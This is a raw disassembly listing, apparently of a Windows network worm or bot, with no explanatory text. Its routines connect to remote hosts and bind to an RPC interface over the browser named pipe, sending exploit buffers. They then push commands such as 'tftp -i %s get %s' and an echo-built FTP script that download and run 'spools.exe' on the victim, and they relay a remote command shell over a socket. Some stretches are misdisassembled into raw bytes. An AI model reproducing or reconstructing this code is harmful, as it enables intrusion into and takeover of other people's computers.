mov byte ptr [ebp-4Ch], 5
mov [ebp-4Bh], bl
mov [ebp-4Ah], bl
mov byte ptr [ebp-49h], 3
mov dword ptr [ebp-48h], 10h
mov [ebp-42h], bx
mov [ebp-40h], ebx
mov [ebp-38h], bx
mov word ptr [ebp-36h], 1Fh
call sub_41BC40
add esp, 28h
push ebx
push ebx
push 1
push ebx
call near ptr 0B40000h
out dx, al
mov [ebp-50h], eax
mov [ebp+0C7h], bl
mov [ebp-10h], ebx
loc_40E03D: ; CODE XREF: .nsp0:0040E107j
cmp dword ptr [ebp-10h], 2
jge loc_40E112
push 1
push 10B8h
push dword ptr [ebp-4]
inc dword ptr [ebp-10h]
push esi
lea esi, [ebp-4Ch]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp-8]
rep movsd
call sub_40DAE4
add esp, 2Ch
test al, al
jz loc_40E10F
cmp [ebp-50h], ebx
jz near ptr loc_40E0FD+1
lea eax, [ebp-60h]
push eax
lea eax, [ebp-18h]
push eax
lea eax, [ebp-60E0h]
push 2000h
push eax
push dword ptr [ebp-8]
call dword_4270E8 ; ReadFile
test eax, eax
jnz short loc_40E0B0
call dword_42708C ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz loc_40DC8B
loc_40E0B0: ; CODE XREF: .nsp0:0040E09Dj
push 3E8h
push dword ptr [ebp-50h]
call near ptr 0B40000h
jle short loc_40E0FC
add al, [ecx]
; ---------------------------------------------------------------------------
db 2 dup(0), 75h
dd 8D656A39h, 0EC810875h, 0BCh, 0C785C6h, 6A010000h, 0FC8B592Fh
dd 6DE8A5F3h, 8B0000ACh, 0B085h, 0C0C48100h, 0C1000000h
dd 80FF06E0h, 438050h, 8050808Dh
; ---------------------------------------------------------------------------
loc_40E0FC: ; CODE XREF: .nsp0:0040E0BDj
inc ebx
loc_40E0FD: ; CODE XREF: .nsp0:0040E078j
add [eax], bh
popf
mov dword ptr [eax], 758B0000h
hlt
; ---------------------------------------------------------------------------
jz loc_40E03D
jmp short loc_40E112
; ---------------------------------------------------------------------------
loc_40E10F: ; CODE XREF: .nsp0:0040E06Fj
mov esi, [ebp-0Ch]
loc_40E112: ; CODE XREF: .nsp0:0040E041j
; .nsp0:0040E10Dj
push dword ptr [ebp-8]
mov edi, dword_42706C
call edi ; dword_42706C
push esi
call sub_41B961
cmp [ebp-50h], ebx
pop ecx
jz short loc_40E12E
push dword ptr [ebp-50h]
call edi ; dword_42706C
loc_40E12E: ; CODE XREF: .nsp0:0040E127j
xor eax, eax
cmp [ebp+0C7h], bl
setnz al
loc_40E139: ; CODE XREF: .nsp0:0040DC8Dj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40E13E proc near ; CODE XREF: .nsp0:0040D7D2p
arg_0 = byte ptr 4
push esi
push edi
push 0
lea esi, [esp+0Ch+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call loc_40DBD2
add esp, 0C0h
test eax, eax
push 1
jz short loc_40E167
pop eax
jmp short loc_40E18C
; ---------------------------------------------------------------------------
loc_40E167: ; CODE XREF: sub_40E13E+24j
sub esp, 0BCh
lea esi, [esp+0C8h+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call loc_40DBD2
add esp, 0C0h
neg eax
sbb eax, eax
neg eax
loc_40E18C: ; CODE XREF: sub_40E13E+27j
pop edi
pop esi
retn
sub_40E13E endp
; =============== S U B R O U T I N E =======================================
sub_40E18F proc near ; CODE XREF: sub_40E62B+35p
var_230 = byte ptr -230h
var_210 = byte ptr -210h
var_1F0 = byte ptr -1F0h
var_1D0 = byte ptr -1D0h
var_1B0 = byte ptr -1B0h
var_190 = byte ptr -190h
var_170 = byte ptr -170h
var_150 = byte ptr -150h
var_130 = byte ptr -130h
var_110 = byte ptr -110h
var_F0 = byte ptr -0F0h
var_D0 = byte ptr -0D0h
var_B0 = byte ptr -0B0h
var_90 = byte ptr -90h
var_70 = byte ptr -70h
var_50 = byte ptr -50h
var_30 = byte ptr -30h
var_20 = dword ptr -20h
var_10 = byte ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
arg_136F8 = byte ptr 136FCh
arg_13720 = dword ptr 13724h
arg_13864 = byte ptr 13868h
arg_1388C = byte ptr 13890h
arg_13924 = dword ptr 13928h
mov eax, 13894h
call sub_41C1D0
push ebx
push ebp
push esi
push edi
xor edi, edi
push edi
push 1
push 2
call dword_42721C ; socket
mov esi, eax
lea eax, [esp+1Ch+arg_1388C]
push eax
mov word ptr [esp+20h+var_8], 2
call dword_427230 ; inet_addr
push [esp+20h+arg_13924]
mov [esp+24h+var_8], eax
call dword_427208 ; ntohs
mov [esp+24h+var_E], ax
lea eax, [esp+24h+var_10]
push 10h
push eax
push esi
call dword_42720C ; connect
test eax, eax
jge short loc_40E1F0
loc_40E1E9: ; CODE XREF: sub_40E18F+275j
xor eax, eax
jmp loc_40E620
; ---------------------------------------------------------------------------
loc_40E1F0: ; CODE XREF: sub_40E18F+58j
lea eax, [esp+30h+var_20]
push 4
push eax
push 1006h
push 0FFFFh
push esi
mov [esp+44h+var_20], 1388h
call dword_427210 ; setsockopt
lea eax, [esp+44h+arg_13864]
push 1
push eax
call sub_41852C
pop ecx
cmp eax, 2
pop ecx
jz loc_40E409
cmp eax, 1
jz loc_40E409
mov ebx, dword_427220
push edi
push 48h
push offset aB ; ""
push esi
call ebx ; dword_427220
mov ebp, dword_427214
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 58h
push offset dword_43917C
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 0B0h
push offset dword_4391D8
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 0F6h
push offset dword_43928C
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 3Eh
push offset dword_439384
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 60h
push offset dword_4393C4
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 96h
push offset dword_439428
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_4394C0
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_43961C
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_439778
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 6Ah
push offset dword_4398D4
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; dword_427214
test eax, eax
jz loc_40E5E4
cmp eax, 0FFFFFFFFh
jz loc_40E5E4
push 0
push 15Bh
push offset dword_4394C0
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_43961C
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_439778
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 6Ah
push offset dword_4398D4
push esi
call ebx ; dword_427220
push 1387Fh
lea eax, [esp+218h+var_1F0]
push 0
push eax
call sub_41BC40
add esp, 0Ch
loc_40E3D0: ; CODE XREF: sub_40E18F+450j
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; dword_427214
test eax, eax
jz loc_40E5E4
cmp eax, 0FFFFFFFFh
jz loc_40E5E4
cmp [esp+224h+arg_13720], 8Bh
push esi
jnz loc_40E5E5
call dword_427218 ; closesocket
jmp loc_40E1E9
; ---------------------------------------------------------------------------
loc_40E409: ; CODE XREF: sub_40E18F+95j
; sub_40E18F+9Ej
mov ebx, dword_427220
push edi
push 48h
push offset unk_439940
push esi
call ebx ; dword_427220
mov ebp, dword_427214
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 58h
push offset dword_43998C
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 0B0h
push offset dword_4399E8
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 0F6h
push offset dword_439A9C
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 66h
push offset dword_439B94
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 3Eh
push offset dword_439BFC
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 60h
push offset dword_439C3C
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 96h
push offset dword_439CA0
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_439D38
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_439E94
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_439FF0
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_43A14C
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 0CEh
push offset dword_43A2A8
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; dword_427214
test eax, eax
jz loc_40E5E4
cmp eax, 0FFFFFFFFh
jz short loc_40E5E4
push 0
push 15Bh
push offset dword_439D38
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_439E94
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_439FF0
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+238h+var_210]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 15Bh
push offset dword_43A14C
push esi
call ebx ; dword_427220
push 0
lea eax, [esp+258h+var_230]
push edi
push eax
push esi
call ebp ; dword_427214
push 0
push 0CEh
push offset dword_43A2A8
push esi
call ebx ; dword_427220
jmp loc_40E3D0
; ---------------------------------------------------------------------------
loc_40E5E4: ; CODE XREF: sub_40E18F+1C4j
; sub_40E18F+1CDj ...
push esi
loc_40E5E5: ; CODE XREF: sub_40E18F+269j
call dword_427218 ; closesocket
push 7D0h
call dword_427064 ; Sleep
push 0BEEFh
lea esi, [esp+1B0h+arg_136F8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_418D50
add esp, 0C0h
neg al
sbb eax, eax
neg eax
loc_40E620: ; CODE XREF: sub_40E18F+5Cj
pop edi
pop esi
pop ebp
pop ebx
add esp, 13894h
retn
sub_40E18F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E62B proc near ; CODE XREF: .nsp0:0040D7EAp
var_200 = byte ptr -200h
arg_0 = byte ptr 8
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 200h
push esi
xor esi, esi
cmp [ebp+arg_A0], 8Bh
push edi
jz short loc_40E650
cmp [ebp+arg_A0], 1BDh
jnz short loc_40E693
loc_40E650: ; CODE XREF: sub_40E62B+17j
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E18F
mov esi, eax
add esp, 0BCh
test esi, esi
jz short loc_40E693
lea eax, [ebp+var_200]
push eax
call sub_4157A6
mov eax, [ebp+arg_A8]
pop ecx
shl eax, 6
inc dword_438050[eax]
lea eax, dword_438050[eax]
loc_40E693: ; CODE XREF: sub_40E62B+23j
; sub_40E62B+44j
mov eax, esi
pop edi
pop esi
leave
retn
sub_40E62B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E699 proc near ; CODE XREF: sub_40E7D2+24Ep
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4D1230 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_4D11F0 ; ntohs
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4D1270 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E7AB
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4D1198 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E7AB
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4D1208 ; recv
mov esi, offset aSpools_exe ; "spools.exe"
push esi
push esi
push [ebp+arg_0]
call sub_40AB6A
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41C030
add esp, 18h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4D1240 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E7AB
push 1F4h
call dword_427064 ; Sleep
push esi
push offset dword_430C18
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41C030
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4D1240 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E7AF
loc_40E7AB: ; CODE XREF: sub_40E699+50j
; sub_40E699+66j ...
xor al, al
jmp short loc_40E7CD
; ---------------------------------------------------------------------------
loc_40E7AF: ; CODE XREF: sub_40E699+110j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4D1208 ; recv
push ebx
call dword_4D1288 ; closesocket
mov al, 1
loc_40E7CD: ; CODE XREF: sub_40E699+114j
pop edi
pop esi
pop ebx
leave
retn
sub_40E699 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E7D2 proc near ; CODE XREF: sub_40EA50+16p
; sub_40EA50+39p
var_72E38B40 = dword ptr -72E38B40h
var_1D24 = byte ptr -1D24h
var_D24 = byte ptr -0D24h
var_CF8 = byte ptr -0CF8h
var_CF4 = byte ptr -0CF4h
var_CF0 = byte ptr -0CF0h
var_CEC = byte ptr -0CECh
var_A28 = byte ptr -0A28h
var_A24 = byte ptr -0A24h
var_4F4 = byte ptr -4F4h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_88 = byte ptr -88h
var_84 = byte ptr -84h
var_7C = byte ptr -7Ch
var_78 = byte ptr -78h
var_58 = byte ptr -58h
var_54 = byte ptr -54h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
mov eax, 1D24h
call sub_41C1D0
push ebx
push esi
push edi
push 830h
lea eax, [ebp+var_D24]
push 0
push eax
call sub_41BC40
push 264h
lea eax, [ebp+var_2EC]
push 0FFFFFF90h
push eax
call sub_41BC40
push 15Bh
lea eax, [ebp+var_2EC]
push offset dword_43A414
push eax
call near ptr sub_41C9B0
push 4
lea eax, [ebp+var_88]
pop ebx
push ebx
push offset dword_43A5DC
push eax
call near ptr sub_41C9B0
push 8
lea eax, [ebp+var_84]
push 41h
push eax
call sub_41BC40
mov esi, offset dword_43A5D4
push ebx
lea eax, [ebp+var_7C]
push esi
push eax
call near ptr sub_41C9B0
add esp, 48h
lea eax, [ebp+var_78]
push 20h
push 0FFFFFF90h
push eax
call sub_41BC40
push ebx
lea eax, [ebp+var_58]
push esi
push eax
call near ptr sub_41C9B0
push 8
lea eax, [ebp+var_54]
push 42h
push eax
call sub_41BC40
push ebx
lea eax, [ebp+var_4C]
push esi
push eax
call near ptr sub_41C9B0
push 20h
lea eax, [ebp+var_48]
push 0FFFFFF90h
push eax
call sub_41BC40
push 2Ch
lea eax, [ebp+var_D24]
push offset dword_43A3C4
push eax
call near ptr sub_41C9B0
add esp, 48h
mov edi, offset dword_43A5CC
lea eax, [ebp+var_CF8]
push ebx
push edi
push eax
call near ptr sub_41C9B0
mov esi, offset dword_4D3F1C
push ebx
lea eax, [ebp+var_CF4]
push esi
push eax
call near ptr sub_41C9B0
push ebx
lea eax, [ebp+var_CF0]
push edi
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_2EC]
push 2C4h
push eax
lea eax, [ebp+var_CEC]
push eax
call near ptr sub_41C9B0
push ebx
lea eax, [ebp+var_A28]
push esi
push eax
call near ptr sub_41C9B0
push 1Ch
lea eax, [ebp+var_A24]
push offset dword_43A3F4
push eax
call near ptr sub_41C9B0
add esp, 48h
lea eax, [ebp+arg_4]
mov edi, 104h
push eax
push offset aSIpc ; "\\\\%s\\ipc$"
lea eax, [ebp+var_3F0]
push edi
push eax
call sub_41C030
lea eax, [ebp+var_3F0]
add esp, 10h
xor esi, esi
mov [ebp+var_14], eax
mov eax, offset byte_443398
push esi
push eax
push eax
lea eax, [ebp+var_28]
mov [ebp+var_24], esi
push eax
mov [ebp+var_18], esi
mov [ebp+var_C], esi
call sub_41B888
test eax, eax
jz short loc_40E972
push offset aFailedToConnec ; "[-] Failed to connect to host !\n"
call sub_41D88C
pop ecx
loc_40E96B: ; CODE XREF: sub_40E7D2+1D6j
; sub_40E7D2+229j ...
xor eax, eax
loc_40E96D: ; CODE XREF: sub_40E7D2+279j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40E972: ; CODE XREF: sub_40E7D2+18Cj
lea eax, [ebp+arg_4]
push eax
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
lea eax, [ebp+var_4F4]
push edi
push eax
call sub_41C030
add esp, 10h
lea eax, [ebp+var_4F4]
push esi
push esi
push 3
push esi
push esi
push 0C0000000h
push eax
call dword_4270EC ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40E96B
push offset aBindingToRpcIn ; "[+] Binding to RPC interface ... \n"
call sub_41D88C
pop ecx
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_1D24]
push 1000h
push eax
push 49h
push offset dword_43A378
push edi
call near ptr 0B40000h
or [ebp+var_72E38B40], eax
inc ebp
cld
push esi
push eax
lea eax, [ebp+var_D24]
push 830h
push eax
push edi
call near ptr 0B40000h
db 64h
test eax, eax
jnz short loc_40EA00
push edi
call dword_42706C ; CloseHandle
jmp loc_40E96B
; ---------------------------------------------------------------------------
loc_40EA00: ; CODE XREF: sub_40E7D2+220j
push 0FAh
call dword_427064 ; Sleep
push 115Ch
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E699
add esp, 0C0h
test al, al
jz loc_40E96B
mov eax, [ebp+arg_A8]
push 1
shl eax, 6
inc dword_438050[eax]
lea eax, dword_438050[eax]
pop eax
jmp loc_40E96D
sub_40E7D2 endp
; =============== S U B R O U T I N E =======================================
sub_40EA50 proc near ; CODE XREF: .nsp0:0040D802p
arg_0 = byte ptr 4
push esi
push edi
sub esp, 0BCh
lea esi, [esp+0C4h+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E7D2
add esp, 0BCh
test eax, eax
jnz short loc_40EA9C
sub esp, 0BCh
lea esi, [esp+0C4h+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E7D2
add esp, 0BCh
neg eax
sbb eax, eax
neg eax
jmp short loc_40EA9F
; ---------------------------------------------------------------------------
loc_40EA9C: ; CODE XREF: sub_40EA50+23j
push 1
pop eax
loc_40EA9F: ; CODE XREF: sub_40EA50+4Aj
pop edi
pop esi
retn
sub_40EA50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAA2 proc near ; CODE XREF: sub_40EB90+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_427230 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_427208 ; ntohs
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_42721C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40EB70
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_42720C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40EB70
mov edi, 400h
push esi
mov esi, dword_427214
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; dword_427214
mov eax, offset aSpools_exe ; "spools.exe"
push eax
push eax
push dword_4D0F20
push [ebp+arg_0]
call sub_40AB6A
pop ecx
push eax
push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41C030
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_427220 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40EB74
loc_40EB70: ; CODE XREF: sub_40EAA2+50j
; sub_40EAA2+62j
xor eax, eax
jmp short loc_40EB8B
; ---------------------------------------------------------------------------
loc_40EB74: ; CODE XREF: sub_40EAA2+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; dword_427214
push ebx
call dword_427218 ; closesocket
push 1
pop eax
loc_40EB8B: ; CODE XREF: sub_40EAA2+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40EAA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB90 proc near ; CODE XREF: sub_40C034+1E6p
; DATA XREF: .nsp0:off_43804Co
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4D1230 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4D11F0 ; ntohs
push 6
push 1
push 2
mov [ebp+var_E], ax
call dword_42721C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40EC02
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_42720C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EBE3
push esi
jmp short loc_40EBFC
; ---------------------------------------------------------------------------
loc_40EBE3: ; CODE XREF: sub_40EB90+4Ej
push 0
push 1213h
push offset dword_43A5E4
push esi
call dword_427220 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40EC06
loc_40EBFC: ; CODE XREF: sub_40EB90+51j
call dword_427218 ; closesocket
loc_40EC02: ; CODE XREF: sub_40EB90+3Cj
xor eax, eax
jmp short loc_40EC48
; ---------------------------------------------------------------------------
loc_40EC06: ; CODE XREF: sub_40EB90+6Aj
call dword_427218 ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40EAA2
add esp, 0C0h
test eax, eax
jz short loc_40EC45
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_438050[eax]
lea eax, dword_438050[eax]
loc_40EC45: ; CODE XREF: sub_40EB90+9Ej
push 1
pop eax
loc_40EC48: ; CODE XREF: sub_40EB90+74j
pop edi
pop esi
leave
retn
sub_40EB90 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40EC55: ; CODE XREF: .nsp0:0040EC71j
; .nsp0:0040EC8Dj
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4D3F34
call dword_4D1208 ; recv
test eax, eax
jle short loc_40EC55
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4D3F30
call near ptr 0B40000h
inc esi
jmp short loc_40EC55
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40EC98: ; CODE XREF: .nsp0:0040ECBEj
; .nsp0:0040ECD8j
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4D3F24
call dword_4270E8 ; ReadFile
cmp dword ptr [ebp-4], 0
jle short loc_40EC98
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4D3F34
call dword_4D1240 ; send
jmp short loc_40EC98
; ---------------------------------------------------------------------------
word_40ECDA dw 8B55h ; DATA XREF: .nsp0:00404804o
dword_40ECDC dd 1CEC81ECh, 8B000001h, 56530845h, 8B286A57h, 0BD8D59F0h
dd 0FFFFFEE4h, 16AA5F3h, 895EFF33h, 98B0h, 8D106A00h, 5057C845h
dd 0CF33E8h, 0CC48300h, 0C845C766h, 0B5FF0002h, 0FFFFFF68h
dd 11F015FFh, 66A004Dh, 66026A56h, 0FFCA4589h, 4D127015h
dd 8458900h, 6AC8458Dh, 75FF5010h, 1C15FF08h, 6A004D12h
dd 875FF05h, 121815FFh, 1D8B004Dh, 427100h, 706C358Bh
dd 57570042h, 0FF0875FFh, 4D128415h, 3F34A300h, 458D004Dh
dd 685057F4h, 4D3F30h, 4D3F2C68h, 0F445C700h, 0Ch, 1FC45C7h
dd 89000000h, 0D3FFF87Dh, 57F4458Dh, 3F286850h, 2468004Dh
dd 0FF004D3Fh, 8D446AD3h, 50578445h, 0CE97E8h, 3F2CA100h
dd 0C483004Dh, 0BC45890Ch, 4D3F28A1h, 0C0458900h, 8D016A57h
dd 26AC445h, 8445C750h, 44h, 1B045C7h, 66000001h, 0E8B47D89h
dd 731224h, 35FF5015h, 4D3F28h, 731217E8h, 0E8505C00h
dd 731210h, 0D8458DE0h, 84458D50h, 68575750h, 4000090h
dd 6AF4458Dh, 458D5001h, 6C6850F4h, 570043B8h, 7311EBE8h
dd 458DF500h, 575750E8h, 40EC8F68h, 0F4458D00h, 15FF5057h
dd 42707Ch, 8DEC4589h, 5750E845h, 0EC4C6857h, 458D0040h
dd 0FF5057F4h, 42707C15h, 89FF6A00h, 75FFF045h, 11AEE8D8h
dd 57830073h, 0E8F075FFh, 7311A4h, 75FF5798h, 119AE8ECh
dd 0FFA90073h, 0D6FFF075h, 0FFEC75FFh, 75FF57D6h, 1186E8D8h
dd 0FFD40073h, 4D3F2C35h, 0FFD6FF00h, 4D3F3035h, 0FFD6FF00h
dd 4D3F2435h, 0FFD6FF00h, 4D3F2835h, 0FFD6FF00h, 0D6FFDC75h
dd 0FFD875FFh, 0FEB0E9D6h, 0E9FFFFh, 68000000h, 0FFFEh
dd 40068h, 0A05FE800h, 0A3590000h, 4D3F3Ch
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
word_40EEC6 dw 8B55h ; DATA XREF: sub_40B9DD+34Do
dd 0C0EC81ECh, 8B000006h, 56530845h, 8B276A57h, 0BD8D59F0h
dd 0FFFFFF50h, 16AA5F3h, 895EDB33h, 98B0h, 8D106A00h, 5053EC45h
dd 0CD47E8h, 0CC48300h, 0EC45C766h, 0B5FF0002h, 0FFFFFF5Ch
dd 11F015FFh, 5653004Dh, 8966026Ah, 5D89EE45h, 7015FFF0h
